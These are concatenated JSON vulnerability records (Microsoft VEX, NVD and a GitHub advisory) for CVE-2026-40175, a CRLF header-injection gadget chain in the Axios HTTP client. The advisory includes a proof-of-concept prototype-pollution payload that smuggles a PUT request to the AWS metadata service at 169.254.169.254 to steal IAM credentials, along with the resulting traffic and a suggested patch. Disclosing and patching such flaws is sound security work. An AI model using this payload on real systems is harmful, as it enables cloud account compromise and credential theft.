{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-40175 Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-40175.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain",
    "tracking": {
      "current_release_date": "2026-04-15T01:05:29.000Z",
      "generator": {
        "date": "2026-04-15T07:32:45.911Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-40175",
      "initial_release_date": "2026-04-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2026-04-15T01:05:29.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "category": "product_name",
            "name": "azl3 python-tensorboard 2.16.2-6",
            "product": {
              "name": "azl3 python-tensorboard 2.16.2-6",
              "product_id": "1"
            }
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 python-tensorboard 2.16.2-6 as a component of Azure Linux 3.0",
          "product_id": "17084-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-40175",
      "cwe": {
        "id": "CWE-113",
        "name": "Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)"
      },
      "flags": [
        {
          "label": "component_not_present",
          "product_ids": [
            "17084-1"
          ]
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_not_affected": [
          "17084-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-40175 Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-40175.json"
        }
      ],
      "title": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
    }
  ]
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.0 and 0.3.1, the Axios library is vulnerable to a specific \"Gadget\" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass). This vulnerability is fixed in 1.15.0 and 0.3.1."
    }
  ],
  "id": "CVE-2026-40175",
  "lastModified": "2026-04-14T16:16:47.637",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-10T20:16:22.800",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/pull/10660"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-113"
        },
        {
          "lang": "en",
          "value": "CWE-444"
        },
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-444",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:47:16Z",
    "nvd_published_at": "2026-04-10T20:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific \"Gadget\" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).\n\nWhile Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.\n\n**Severity**: Critical (CVSS 9.9)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \"Helper\" Vulnerabilities\nThis vulnerability is unique because it requires **Zero Direct User Input**.\nIf an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property becomes a **Request Smuggling** payload.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype[\u0027x-amz-target\u0027] = \"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get(\u0027https://analytics.internal/pings\u0027); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact (IMDSv2 Bypass)\nThe \"Smuggled\" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).\nThe Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.\n\n## Impact Analysis\n-   **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).\n-   **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.\n-   **Cache Poisoning**: Can inject `Host` headers to poison shared caches.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n  if (/[\\r\\n]/.test(val)) {\n    throw new Error(\u0027Security: Header value contains invalid characters\u0027);\n  }\n  // ... proceed to set header\n});\n```\n\n## References\n-   **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.",
  "id": "GHSA-fvcv-3m26-pcqx",
  "modified": "2026-04-14T15:20:19Z",
  "published": "2026-04-10T19:47:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"
}